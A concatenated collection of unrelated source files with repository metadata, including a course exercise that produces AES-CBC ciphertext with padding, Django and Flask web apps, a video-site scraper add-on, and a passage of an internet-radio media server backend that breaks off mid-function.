#!/usr/bin/python3 import subprocess print('RUNNING EXPERIMENT 3 with 2 nodes') command = 'mpirun -hostfile hostfile -n 2 python3 mpi_ch_size.py' arg = command.split() for i in range(2): subprocess.run(arg) print('FINISHED EXPERIMENT 3 with 2 nodes')
[ "stryder03@users.noreply.github.com" ]
stryder03@users.noreply.github.com
966cd18aa12f78c223e44198b83e866bd246f688
11460fa2bee29b546b5985dead3800a7eed83afb
/ciphertext_gen
e6122ed2c2c4eac37f9b1eb119fb9b53e3c4dd5d
[]
no_license
nighostchris/COMP3632-Assignment-2-Py
a8b918dbd988d3eaf035e80ff150c79e126ebea3
2856fddda63f3b120b59674c412868b8afbed3a9
refs/heads/master
2021-03-27T14:09:41.818834
2017-11-05T12:31:00
2017-11-05T12:31:00
108,244,527
0
0
null
null
null
null
UTF-8
Python
false
false
1,071
#!/usr/bin/env python from Crypto.Cipher import AES import sys def b_to_num(message): #converts bytes to nums num = [] for i in range(0, len(message)): num.append(int(message[i].encode('hex'), 16)) return num def num_to_b(num): b = [] for i in range(0, len(num)): b.append(chr(num[i])) return b def pad(message): #pads a message BEFORE encryption topad = 16 - (len(message) % 16) for i in range(0, topad): message += chr(topad) return message def check_pad(message): #checks the padding of a message AFTER decryption mnum = b_to_num(message) wantpad = mnum[-1] for i in range(0, wantpad): if (mnum[-1-i] != wantpad): return 0 return 1 key = 'COMP3632 testkey' iv = 'COMP3632 test iv' obj = AES.new(key, AES.MODE_CBC, iv) message = "Message block1 Message block2" message = pad(message) print message print check_pad(message) ciphertext = obj.encrypt(message) f = open("ciphertext", "wb") f.write(iv) f.write(ciphertext) print ciphertext f.close()
[ "chrisliupascal@gmail.com" ]
chrisliupascal@gmail.com
5941ae15de8d50faefafcad8fed4e9d17d948e27
c7a6f8ed434c86b4cdae9c6144b9dd557e594f78
/ECE364/.PyCharm40/system/python_stubs/348993582/gtk/_gtk/MountOperation.py
d327e51af64f413a5022e8715f458a73a8e61d5b
[]
no_license
ArbalestV/Purdue-Coursework
75d979bbe72106975812b1d46b7d854e16e8e15e
ee7f86145edb41c17aefcd442fa42353a9e1b5d1
refs/heads/master
2020-08-29T05:27:52.342264
2018-04-03T17:59:01
2018-04-03T17:59:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,919
py
# encoding: utf-8 # module gtk._gtk # from /usr/lib64/python2.6/site-packages/gtk-2.0/gtk/_gtk.so # by generator 1.136 # no doc # imports import atk as __atk import gio as __gio import gobject as __gobject import gobject._gobject as __gobject__gobject class MountOperation(__gio.MountOperation): """ Object GtkMountOperation Properties from GtkMountOperation: parent -> GtkWindow: Parent The parent window is-showing -> gboolean: Is Showing Are we showing a dialog screen -> GdkScreen: Screen The screen where this window will be displayed. Signals from GMountOperation: ask-password (gchararray, gchararray, gchararray, GAskPasswordFlags) ask-question (gchararray, GStrv) reply (GMountOperationResult) aborted () show-processes (gchararray, GArray, GStrv) Properties from GMountOperation: username -> gchararray: Username The user name password -> gchararray: Password The password anonymous -> gboolean: Anonymous Whether to use an anonymous user domain -> gchararray: Domain The domain of the mount operation password-save -> GPasswordSave: Password save How passwords should be saved choice -> gint: Choice The users choice Signals from GObject: notify (GParam) """ def get_parent(self, *args, **kwargs): # real signature unknown pass def get_screen(self, *args, **kwargs): # real signature unknown pass def is_showing(self, *args, **kwargs): # real signature unknown pass def set_parent(self, *args, **kwargs): # real signature unknown pass def set_screen(self, *args, **kwargs): # real signature unknown pass def __init__(self, *args, **kwargs): # real signature unknown pass __gtype__ = None # (!) real value is ''
[ "pkalita@princeton.edu" ]
pkalita@princeton.edu
180e88d98af303716e48fe4980e86003a2e1937f
d3235aaa6194224d48b85a126218f7bf0c7c1a08
/apps/pagina/migrations/0046_auto_20190425_1754.py
bd7303e7161631bebc22ad3a34d1471494174c5d
[]
no_license
javierbuitrago/freenetsas
b95c158fa9bef8c5298ebc8896093469865ce24a
9d7c2859aa74153beb9fe35c743e0f176d10bfbd
refs/heads/master
2020-05-17T11:43:47.199164
2019-04-29T17:17:56
2019-04-29T17:17:56
183,691,202
0
0
null
null
null
null
UTF-8
Python
false
false
1,706
py
# Generated by Django 2.2 on 2019-04-25 17:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('pagina', '0045_auto_20190425_1704'), ] operations = [ migrations.AddField( model_name='footer', name='background_color_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='border_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='border_radius_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='font_family_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='font_size_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='text_color_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), migrations.AddField( model_name='footer', name='text_contact', field=models.CharField(default=1, max_length=900), preserve_default=False, ), ]
[ "ganbetacool@gmail.com" ]
ganbetacool@gmail.com
872ca1c40abfe2f773c8a10618fbf21fe8b0cea3
2196d3798497fc7d3d80cd02b008dbb35dbd64d8
/d06/ex04/d06/exos/views.py
cd5b6ae4e8998c24e11ecf37cd517ab957961d72
[]
no_license
avallete/Python-Django-Pool
d59965e1c6315520da54205848d4f59bf05a9928
cee52fe4b30cbc53135caf89a8a8843842e2daeb
refs/heads/master
2021-03-30T06:36:37.546122
2016-10-13T15:08:40
2016-10-13T15:08:40
69,851,733
4
2
null
null
null
null
UTF-8
Python
false
false
2,985
py
from django.contrib import auth from django.contrib.auth.decorators import login_required from random import choice from exos.models import Tip from exos.forms import * from django.shortcuts import render, redirect from django.conf import settings # Create your views here. def main(request): # If user is not authenticated response = render(request, 'exos/base.html') if not request.COOKIES.get('username'): random_user = choice(settings.USER_POOL) request.COOKIES['username'] = random_user response = render(request, 'exos/base.html') response.set_cookie('username', random_user, max_age=42) # If user is authenticated if request.user.is_authenticated(): form = TipForm() # Can upvote/downvote/post/delete try: if request.method == 'POST': if request.POST.get('up') or request.POST.get('down'): tip = Tip.objects.get(pk=request.POST.get('up') or request.POST.get('down')) if request.POST.get('up'): tip.upvote(request.user) else: tip.downvote(request.user) if request.POST.get('delete'): if (request.user.has_perm('exos.delete_tip') or Tip.objects.get(pk=request.POST.get('delete')).auteur == request.user): Tip.objects.get(pk=request.POST.get('delete')).delete() tmpform = TipForm(request.POST) if tmpform.is_valid(): tip = Tip(content=request.POST.get('content'), auteur=request.user) tip.save() except Tip.DoesNotExist: pass # Can see all articles tips = Tip.objects.all() return render(request, 'exos/base.html', {'tips': tips, 'form': form}) return response def login(request): form = LoginForm() if request.user.is_authenticated(): return redirect('/') if request.method == "POST": form = LoginForm(request.POST) if form.is_valid(): user = auth.authenticate( username=request.POST['username'], password=request.POST['password'] ) auth.login(request, user) return redirect('/') return render(request, 'exos/login.html', {'form': form}) def register(request): form = RegisterForm() if request.user.is_authenticated(): return redirect('/') if request.method == "POST": form = RegisterForm(request.POST) if form.is_valid(): user = auth.get_user_model().objects.create_user( username=request.POST['username'], password=request.POST['password'] ) auth.login(request, user) return redirect('/') return render(request, 'exos/register.html', {'form': form}) @login_required def logout(request): auth.logout(request) return redirect('/')
[ "avallete@student.42.fr" ]
avallete@student.42.fr
f6b2f330c789616d8dfe8b4a156b441c50143722
3992ed3ea9347715345a7ae78656c9418f019f28
/app.py
84de00c39ea39423161d80ad25d279bdd8954b6b
[]
no_license
Gary-Schulke/ETL-Project
1f088f021a479ea0ecffa818d6b3cd477d1e0935
dae26a01f3903f8d031af2050ce5de8b93001bf8
refs/heads/master
2020-09-16T04:18:46.692125
2020-04-15T23:29:53
2020-04-15T23:29:53
223,651,019
0
0
null
null
null
null
UTF-8
Python
false
false
3,248
py
import numpy as np import sqlalchemy from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine, func from flask import Flask, jsonify from config import postgres_pw ################################################# # Database Setup ################################################# engine = create_engine(f'postgresql://postgres:{postgres_pw}@localhost:5432/city_transit_db') # reflect an existing database into a new model Base = automap_base() # reflect the tables Base.prepare(engine, reflect=True) # Save reference to the table Cities = Base.classes.cities Tracks = Base.classes.tracks ################################################# # Flask Setup ################################################# app = Flask(__name__) ################################################# # Global Functions ################################################# def table_join(): """Return a list of transit system data including the city name, country, and track length""" # Create our session (link) from Python to the DB session = Session(engine) # Join the tables in a query sel = [Cities.city_id, Cities.city_name, Cities.country, Tracks.length] results = session.query(*sel).join(Tracks, Cities.city_id == Tracks.city_id).order_by(Tracks.length.desc()) # Return a query object return results def json_dict(results): """JSONify results with keys""" city_list = [] # Create a dictionary from each result and append to a list for city_id, city_name, country, length in results: city_dict = {} city_dict["city_id"] = city_id city_dict["city_name"] = city_name city_dict["country"] = country city_dict["track_length"] = length city_list.append(city_dict) return jsonify(city_list) ################################################# # Flask Routes ################################################# @app.route("/") def welcome(): """List all available api routes""" return ( f"Available Routes:<br/>" f"/api/v1.0/transit_systems<br/>" f"/api/v1.0/transit_systems/London<br/>" f"/api/v1.0/transit_systems/New York<br/>" f"/api/v1.0/transit_systems/Stockholm<br/>" f"..." ) @app.route("/api/v1.0/transit_systems") def transit_systems(): """Display all transit system data""" # Query db for all results results = table_join() results = results.all() # Return JSON results json_results = json_dict(results) return json_results @app.route("/api/v1.0/transit_systems/<city_name>") def city(city_name): """Filter transit system data based on the searched city""" # Make sure the city is in title case city_name = city_name.title() # Query db and filter results = table_join() results = results.filter(Cities.city_name==city_name).all() # If the city is found, return JSON results: if results: json_results = json_dict(results) return json_results # Else 404 error else: return jsonify({"error": f"Your search term {city_name} was not found."}), 404 # Preview on http://127.0.0.1:5000/ if __name__ == '__main__': app.run(debug=True)
[ "ellenyhsu@ELLENs-MacBook-Air.local" ]
ellenyhsu@ELLENs-MacBook-Air.local
f82909b445da67b0722152edf6a090b84f4b65db
53b47aad5c86630cfa634127c8bd30e490959e17
/web_app/handwrite.py
76f5e043ce526ca9e52e838e35509bc311ccca2d
[]
no_license
krison44/text2HandWriting
512b45edfa201bc11fe4e66b7513a55116c4b425
986946fd08139c6a880356215c7aa12bea246330
refs/heads/main
2023-01-14T14:07:06.255677
2020-11-24T02:27:33
2020-11-24T02:27:33
313,120,333
0
0
null
null
null
null
UTF-8
Python
false
false
2,259
py
import argparse import os parser = argparse.ArgumentParser() parser.add_argument('--model', dest='model_path', type=str, default=os.path.join('pretrained', 'model-29'), help='(optional) DL model to use') parser.add_argument('--text', dest='text', type=str, help='Text to write') parser.add_argument('--text-file', dest='file', type=str, default=None, help='Path to the input text file') parser.add_argument('--style', dest='style', type=int, default=0, help='Style of handwriting (1 to 7)') parser.add_argument('--bias', dest='bias', type=float, default=0.9, help='Bias in handwriting. More bias is more unclear handwriting (0.00 to 1.00)') parser.add_argument('--force', dest='force', action='store_true', default=False) parser.add_argument('--color', dest='color_text', type=str, default='0,0,150', help='Color of handwriting in RGB format') parser.add_argument('--output', dest='output', type=str, default='./handwritten.pdf', help='Output PDF file path and name') args = parser.parse_args() if args.file: text = open(args.file, 'r').read() else: text = args.text if text is not None: if len(text) > 50: pass else: print("Text too short!") exit() else: print("Please provide either --text or --text-file in arguments") exit() import pickle import matplotlib import tensorflow as tf import generate matplotlib.use('agg') def main(): with open(os.path.join('data', 'translation.pkl'), 'rb') as file: translation = pickle.load(file) rev_translation = {v: k for k, v in translation.items()} charset = [rev_translation[i] for i in range(len(rev_translation))] charset[0] = '' config = tf.compat.v1.ConfigProto( device_count={'GPU': 0} ) with tf.compat.v1.Session(config=config) as sess: saver = tf.compat.v1.train.import_meta_graph(args.model_path + '.meta') saver.restore(sess, args.model_path) print("\n\nInitialization Complete!\n\n\n\n") color = [int(i) for i in args.color_text.replace(' ', '').split(',')] pdf = generate.generate(text.replace('1', 'I'), args, sess, translation, color[:3]) if __name__ == '__main__': main()
[ "S@njibP@edgewood.org" ]
S@njibP@edgewood.org
e260d0d50c7d74e84cf1062a5c25ccbe38c4e375
90360a1de1c19ab217ff0fceaaa3140cad4ddaa5
/plugin.video.salts/scrapers/icefilms_scraper.py
9fffbf94a63ac44d5c3ce8d39de54d0ed860f31e
[]
no_license
trickaz/tknorris-beta-repo
934cbbf089e12607fe991d13977f0d8a61354f01
c4b82ef1b402514ef661bcc669852c44578fcaa0
refs/heads/master
2021-01-22T14:25:19.271493
2014-10-17T06:19:39
2014-10-17T06:19:39
25,358,146
1
1
null
null
null
null
UTF-8
Python
false
false
6,462
py
""" SALTS XBMC Addon Copyright (C) 2014 tknorris This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ import scraper import re import urllib import urlparse import HTMLParser import string import xbmcaddon from salts_lib.db_utils import DB_Connection from salts_lib import log_utils from salts_lib.constants import VIDEO_TYPES from salts_lib.constants import QUALITIES QUALITY_MAP = {'HD 720P': QUALITIES.HD, 'DVDRIP / STANDARD DEF': QUALITIES.HIGH} #BROKEN_RESOLVERS = ['180UPLOAD', 'HUGEFILES', 'VIDPLAY'] BROKEN_RESOLVERS = [] BASE_URL='http://www.icefilms.info' class IceFilms_Scraper(scraper.Scraper): base_url=BASE_URL def __init__(self, timeout=scraper.DEFAULT_TIMEOUT): self.timeout=timeout self.db_connection = DB_Connection() self.base_url = xbmcaddon.Addon().getSetting('%s-base_url' % (self.get_name())) @classmethod def provides(cls): return frozenset([VIDEO_TYPES.TVSHOW, VIDEO_TYPES.SEASON, VIDEO_TYPES.EPISODE, VIDEO_TYPES.MOVIE]) @classmethod def get_name(cls): return 'IceFilms' def resolve_link(self, link): url, query = link.split('?', 1) data = urlparse.parse_qs(query, True) url = urlparse.urljoin(self.base_url, url) html = self._http_get(url, data=data, cache_limit=0) match = re.search('url=(.*)', html) if match: url=urllib.unquote_plus(match.group(1)) if url.upper() in BROKEN_RESOLVERS: url = None return url def format_source_label(self, item): label='[%s] %s%s (%s/100) ' % (item['quality'], item['label'], item['host'], item['rating']) return label def get_sources(self, video): source_url=self.get_url(video) sources = [] if source_url: try: url = urlparse.urljoin(self.base_url, source_url) html = self._http_get(url, cache_limit=.5) pattern='<iframe id="videoframe" src="([^"]+)' match = re.search(pattern, html) frame_url = match.group(1) url = urlparse.urljoin(self.base_url, frame_url) html = self._http_get(url, cache_limit=.5) match=re.search('lastChild\.value="([^"]+)"', html) secret=match.group(1) match=re.search('"&t=([^"]+)', html) t=match.group(1) pattern='<div class=ripdiv>(.*?)</div>' for container in re.finditer(pattern, html): fragment=container.group(0) match=re.match('<div class=ripdiv><b>(.*?)</b>', fragment) if match: quality=QUALITY_MAP[match.group(1).upper()] else: quality=None pattern='onclick=\'go\((\d+)\)\'>([^<]+)(<span.*?)</a>' for match in re.finditer(pattern, fragment): link_id, label, host_fragment = match.groups() source = {'multi-part': False, 'quality': quality, 'class': self, 'label': label, 'rating': None, 'views': None, 'direct': False} host=re.sub('(<[^>]+>|</span>)','',host_fragment) source['host']=host.lower() if host.upper() in BROKEN_RESOLVERS: continue url = '/membersonly/components/com_iceplayer/video.phpAjaxResp.php?id=%s&s=999&iqs=&url=&m=-999&cap=&sec=%s&t=%s' % (link_id, secret, t) source['url']=url sources.append(source) except Exception as e: log_utils.log('Failure (%s) during icefilms get sources: |%s|' % (str(e), video)) return sources def get_url(self, video): return super(IceFilms_Scraper, self)._default_get_url(video) def search(self, video_type, title, year): if video_type==VIDEO_TYPES.MOVIE: url = urlparse.urljoin(self.base_url, '/movies/a-z/') else: url = urlparse.urljoin(self.base_url,'/tv/a-z/') if title.upper().startswith('THE '): first_letter=title[4:5] elif title.upper().startswith('A '): first_letter = title[2:3] elif title[:1] in string.digits: first_letter='1' else: first_letter=title[:1] url = url + first_letter.upper() html = self._http_get(url, cache_limit=.25) h = HTMLParser.HTMLParser() html = unicode(html, 'windows-1252') html = h.unescape(html) norm_title = self._normalize_title(title) pattern = 'class=star.*?href=([^>]+)>(.*?)(?:\s*\((\d+)\))?</a>' results=[] for match in re.finditer(pattern, html, re.DOTALL): url, match_title, match_year = match.groups('') if norm_title in self._normalize_title(match_title) and (not year or not match_year or year == match_year): result={'url': url, 'title': match_title, 'year': match_year} results.append(result) return results def _get_episode_url(self, show_url, video): episode_pattern = 'href=(/ip\.php[^>]+)>%sx0?%s\s+' % (video.season, video.episode) title_pattern='class=star>\s*<a href=([^>]+)>(?:\d+x\d+\s+)+([^<]+)' return super(IceFilms_Scraper, self)._default_get_episode_url(show_url, video, episode_pattern, title_pattern) def _http_get(self, url, data=None, cache_limit=8): return super(IceFilms_Scraper, self)._cached_http_get(url, self.base_url, self.timeout, data=data, cache_limit=cache_limit)
[ "tknorris@gmail.com" ]
tknorris@gmail.com
9a956e9fe5e1df95ae3707e2ee6021b1e9055415
63f0b49eca9a78fc1050d7fdde03d54194ba0b73
/codekata/qqq.py
cdd42ecf09618510b72c012675484365507b3b92
[]
no_license
Mponsubha/.guvi
d8a6e26cafce22a26c7ef7ababaf028e79b6c4cc
5a1f0278c1570ed6b827c65baf5d838e1983e177
refs/heads/master
2020-06-03T00:22:10.182521
2019-07-02T04:02:26
2019-07-02T04:02:26
191,359,120
0
2
null
null
null
null
UTF-8
Python
false
false
34
py
q=int(input()) print("\nHello"*q)
[ "noreply@github.com" ]
noreply@github.com
6111a9ff9d516c059ce4ad32eb65e12cc5e4c4b2
a415e80a432912c66bf08de3cd230f6f7f2521f7
/core/migrations/0015_auto_20190724_1423.py
8ae3d79fa4fd04cee3c9fb2899be2c436c0c688a
[]
no_license
jamiejudd/obmo
14636ae72bd5df7cc757a68b60cd116bc2f4ca4c
bd167881b9ba6e399903a54477cf6900b962cac0
refs/heads/master
2022-05-02T08:08:25.597230
2019-11-04T12:54:09
2019-11-04T12:54:09
157,760,469
0
0
null
null
null
null
UTF-8
Python
false
false
551
py
# Generated by Django 2.2.1 on 2019-07-24 13:23 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0014_auto_20190719_1316'), ] operations = [ migrations.AddField( model_name='account', name='has_offer', field=models.BooleanField(default=False), ), migrations.AddField( model_name='account', name='offer', field=models.CharField(max_length=255, null=True), ), ]
[ "jamiejud@gmail.com" ]
jamiejud@gmail.com
9b1321dc341d37ce36de9e991a64ef93ddefb827
c44530acbb6113adfed7eb08391c74847733d6a0
/session2/booksapp/booksdbcreate.py
3b22942591d40b43a647c019ecf87134bf89ab40
[]
no_license
codeartisanacademy/basic-python
b96f1447ffdfb5df6457f5f1ba8a483871596cca
56de8c8de72d80aadad12be701e5b7b1582a285d
refs/heads/master
2020-07-04T23:32:56.167071
2019-10-22T15:14:04
2019-10-22T15:14:04
202,457,374
0
0
null
null
null
null
UTF-8
Python
false
false
2,111
py
import sqlite3 def create_connection(db_file): try: connection = sqlite3.connect(db_file) print('database %s successfully created' % db_file) return connection except sqlite3.Error as error: print(error) return None def create_table_authors(c, sql): if c: cursor = c.cursor() try: cursor.execute(sql) print('table authors created') except sqlite3.Error as error: print(error) else: print('No connection') def create_table_books(c, sql): if c: cursor = c.cursor() try: cursor.execute(sql) print('table books created') except sqlite3.Error as error: print(error) else: print('No connection') def create_table_categories(c, sql): if c: cursor = c.cursor() try: cursor.execute(sql) print('table categories created') except sqlite3.Error as error: print(error) else: print('no connection') def main(): connection = create_connection('booksappdb.db') sql_authors_creation = ''' CREATE TABLE 'authors' ('id' INTEGER NOT NULL, 'name' TEXT NOT NULL, 'gender' TEXT NOT NULL, PRIMARY KEY('id')) ''' sql_books_creation = ''' CREATE TABLE 'books' ('id' INTEGER NOT NULL, 'title' TEXT NOT NULL, 'author_id' INTEGER NOT NULL, 'category_id' INTEGER NOT NULL, PRIMARY KEY('id')) ''' sql_categories_creation = ''' CREATE TABLE 'categories' ('id' INTEGER NOT NULL, 'name' TEXT NOT NULL, PRIMARY KEY('id')) ''' if connection: create_table_authors(connection, sql_authors_creation) create_table_books(connection, sql_books_creation) create_table_categories(connection, sql_categories_creation) else: print('connection not available') if __name__ == '__main__': main()
[ "wahyudi.coding@gmail.com" ]
wahyudi.coding@gmail.com
6686ef97bb4301c52bc2359e63bd9b0051aa7f06
3a27766a6fcfec26970300a324aec6e6893618a1
/shop/urls.py
35e30c6ea5ecb18d2d88d75c37e0d546087afd17
[]
no_license
sasori0607/iphone_w
b1011176473f2949c7b112c0d7caec9edd905d22
7215646a3f0b6d700e90cd9f9908d8eef3a22bbb
refs/heads/main
2023-08-16T10:05:39.493365
2021-09-26T21:54:32
2021-09-26T21:54:32
376,524,099
0
0
null
null
null
null
UTF-8
Python
false
false
686
py
from django.contrib import admin from django.urls import path, include from . import views urlpatterns = [ path('order', views.order, name='order'), path('price', views.price, name='price'), path('basket_minus', views.basket_minus, name='basket_minus'), path('basket_plus', views.basket_plus, name='basket_plus'), path('basket', views.basket, name='basket'), path('you_basket', views.you_basket.as_view(), name='you_basket'), path('basket_counter', views.basket_counter, name='basket_counter'), path('<category>/<slug>', views.Shop_detail_page.as_view(), name='shop_detail'), path('<slug>', views.Shop_category.as_view(), name='shop_category'), ]
[ "cacopu060798@gmail.com" ]
cacopu060798@gmail.com
fc6ec366cc16a9f609e3910d19770d58645a59b8
eb3683f9127befb9ef96d8eb801206cf7b84d6a7
/stypy/invokation/type_rules/modules/numpy/lib/ufunclike/ufunclike__type_modifiers.py
8a0fa8e78c44a7d76c174b17b2107251eb822674
[]
no_license
ComputationalReflection/stypy
61ec27333a12f76ac055d13f8969d3e0de172f88
be66ae846c82ac40ba7b48f9880d6e3990681a5b
refs/heads/master
2021-05-13T18:24:29.005894
2018-06-14T15:42:50
2018-06-14T15:42:50
116,855,812
2
0
null
null
null
null
UTF-8
Python
false
false
373
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import numpy from stypy.invokation.handlers import call_utilities class TypeModifiers: @staticmethod def fix(localization, proxy_obj, arguments): if call_utilities.is_numpy_array(arguments[0]): return arguments[0] else: return call_utilities.create_numpy_array(arguments[0])
[ "redondojose@uniovi.es" ]
redondojose@uniovi.es
2b8047092d8d1f43676a783716574a9b7f4691e4
bf9748427210c37dd6309c4855293c1aec114217
/newsite/urls.py
619818f18752914254f4ef928fa094eed2a5da52
[]
no_license
Jason8558/pyth_djangoOldSiteKVK
26b67f9b5c68e8c8145f121836096fc5018737a4
3cee5844fb4069dc8be02c9304317bd5bb48d48e
refs/heads/master
2023-01-23T18:26:03.098071
2020-12-09T06:09:02
2020-12-09T06:09:02
302,175,085
0
0
null
null
null
null
UTF-8
Python
false
false
1,126
py
"""newsite URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from django.urls import include from django.conf import settings from django.conf.urls.static import static from .views import * urlpatterns = [ path('admin/', admin.site.urls), path('blog/', include('blog.urls')), path('', redirect_home), path('page/', include ('page.urls')), path('ckeditor/', include('ckeditor_uploader.urls')), ] urlpatterns += static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)
[ "71411694+Jason8558@users.noreply.github.com" ]
71411694+Jason8558@users.noreply.github.com
630bdd5c13f4ec241b016ee6636bfe70af9b1448
01822d2ae38a95edcd188a51c377bb07b0a0c57d
/Assignments/Sprint3/FindAllPaths.py
faf38a0af57c11891b1ec51c5c26b3865f784c23
[ "MIT" ]
permissive
mark-morelos/CS_Notes
bc298137971295023e5e3caf964fe7d3f8cf1af9
339c47ae5d7e678b7ac98d6d78857d016c611e38
refs/heads/main
2023-03-10T11:56:52.691282
2021-03-02T15:09:31
2021-03-02T15:09:31
338,211,631
1
1
null
null
null
null
UTF-8
Python
false
false
1,496
py
""" Understand Note: For some reason, it's failing one of the tests. I think it's because the test case didn't sort their output. In that case, the test is wrong :) Drawing graphs via text are a pain, so I'm just gonna use the example given Plan 1. Translate the problem into graph terminology - Each index in the list given is a node - Each subarray are the node's outgoing edges to its neighbors 2. Build your graph - The graph is actually already built for us. We can traverse the given list like a graph since we have access to the node we're at and its neighbors. 3. Traverse the graph - Any type of traversal would work, we just need to keep track of the path that we've currently taken - We add that path to the result once we reach the destination node - Note that we don't need a visited set since we're guaranteed that the graph is a DAG Runtime: O(number of nodes^2) Space: O(number of nodes^2) Imagine a dense graph """ from collections import deque def csFindAllPathsFromAToB(graph): stack = deque() stack.append((0, [0])) res = [] destinationNode = len(graph) - 1 while len(stack) > 0: curr = stack.pop() currNode, currPath = curr[0], curr[1] for neighbor in graph[currNode]: newPath = currPath.copy() newPath.append(neighbor) if neighbor == destinationNode: res.append(newPath) else: stack.append((neighbor, newPath)) res.sort() return res
[ "makoimorelos@gmail.com" ]
makoimorelos@gmail.com
dbf30296d71e7bf60831a0c340e730a93a7d7a5c
c78d25a2ea56f012da3381d7245c3e08556129e1
/coherence/backends/radiotime_storage.py
1f2c5d69ba48ac3beee20a08759cb96b1a85c6c1
[ "MIT" ]
permissive
Python3pkg/Cohen
556ad3952136fc2eafda99202a7280c2ece2477e
14e1e9f5b4a5460033692b30fa90352320bb7a4e
refs/heads/master
2021-01-21T17:13:58.602576
2017-05-21T08:33:16
2017-05-21T08:33:16
91,943,281
1
0
null
2017-05-21T08:32:55
2017-05-21T08:32:55
null
UTF-8
Python
false
false
7,113
py
# Licensed under the MIT license # http://opensource.org/licenses/mit-license.php # an internet radio media server for the Coherence UPnP Framework # based on the radiotime (http://radiotime.com) catalog service # Copyright 2007, Frank Scholz <coherence@beebits.net> # Copyright 2009-2010, Jean-Michel Sizun <jmDOTsizunATfreeDOTfr> from lxml import etree from twisted.python.failure import Failure from coherence.upnp.core import utils from coherence.upnp.core import DIDLLite from coherence.upnp.core.DIDLLite import Resource from coherence.backend import BackendItem, Container, LazyContainer, AbstractBackendStore OPML_BROWSE_URL = 'http://opml.radiotime.com/Browse.ashx' # we only handle mp3 audio streams for now DEFAULT_FORMAT = "mp3" DEFAULT_MIMETYPE = "audio/mpeg" # TODO : extend format handling using radiotime API class RadiotimeAudioItem(BackendItem): logCategory = 'radiotime' def __init__(self, outline): BackendItem.__init__(self) self.preset_id = outline.get('preset_id') self.name = outline.get('text') self.mimetype = DEFAULT_MIMETYPE self.stream_url = outline.get('URL') self.image = outline.get('image') #self.location = PlaylistStreamProxy(self.stream_url) #self.url = self.stream_url self.item = None def replace_by (self, item): # do nothing: we suppose the replacement item is the same return def get_item(self): if self.item == None: upnp_id = self.get_id() upnp_parent_id = self.parent.get_id() self.item = DIDLLite.AudioBroadcast(upnp_id, upnp_parent_id, self.name) self.item.albumArtURI = self.image res = Resource(self.stream_url, 'http-get:*:%s:%s' % (self.mimetype, ';'.join(('DLNA.ORG_PN=MP3', 'DLNA.ORG_CI=0', 'DLNA.ORG_OP=01', 'DLNA.ORG_FLAGS=01700000000000000000000000000000')))) res.size = 0 # None self.item.res.append(res) return self.item def get_path(self): return self.url def get_id(self): return self.storage_id class RadiotimeStore(AbstractBackendStore): logCategory = 'radiotime' implements = ['MediaServer'] def __init__(self, server, **kwargs): AbstractBackendStore.__init__(self, server, **kwargs) self.name = kwargs.get('name', 'radiotimeStore') self.refresh = int(kwargs.get('refresh', 60)) * 60 self.browse_url = self.config.get('browse_url', OPML_BROWSE_URL) self.partner_id = self.config.get('partner_id', 'TMe3Cn6v') self.username = self.config.get('username', None) self.locale = self.config.get('locale', 'en') self.serial = server.uuid # construct URL for root menu if self.username is not None: identification_param = "username=%s" % self.username else: identification_param = "serial=%s" % self.serial formats_value = DEFAULT_FORMAT root_url = "%s?partnerId=%s&%s&formats=%s&locale=%s" % (self.browse_url, self.partner_id, identification_param, formats_value, self.locale) # set root item root_item = LazyContainer(None, "root", "root", self.refresh, self.retrieveItemsForOPML, url=root_url) self.set_root_item(root_item) self.init_completed() def upnp_init(self): self.current_connection_id = None self.wmc_mapping = {'4': self.get_root_id()} if self.server: self.server.connection_manager_server.set_variable(0, 'SourceProtocolInfo', ['http-get:*:audio/mpeg:*', 'http-get:*:audio/x-scpls:*'], default=True) def retrieveItemsForOPML (self, parent, url): def append_outline(parent, outline): type = outline.get('type') if type is None: # This outline is just a classification item containing other outline elements # the corresponding item will a static Container text = outline.get('text') key = outline.get('key') external_id = None if external_id is None and key is not None: external_id = "%s_%s" % (parent.external_id, key) if external_id is None: external_id = outline_url item = Container(parent, text) item.external_id = external_id item.store = parent.store parent.add_child(item, external_id=external_id) sub_outlines = outline.findall('outline') for sub_outline in sub_outlines: append_outline(item, sub_outline) elif type == 'link': # the corresponding item will a self-populating Container text = outline.get('text') outline_url = outline.get('URL') key = outline.get('key') guide_id = outline.get('guide_id') external_id = guide_id if external_id is None and key is not None: external_id = "%s_%s" % (parent.external_id, key) if external_id is None: external_id = outline_url item = LazyContainer(parent, text, external_id, self.refresh, self.retrieveItemsForOPML, url=outline_url) parent.add_child(item, external_id=external_id) elif type == 'audio': item = RadiotimeAudioItem(outline) parent.add_child(item, external_id=item.preset_id) def got_page(result): self.info('connection to Radiotime service successful for url %s', url) outlines = result.findall('body/outline') for outline in outlines: append_outline(parent, outline) return True def got_error(error): self.warning("connection to Radiotime service failed for url %s", url) self.debug("%r", error.getTraceback()) parent.childrenRetrievingNeeded = 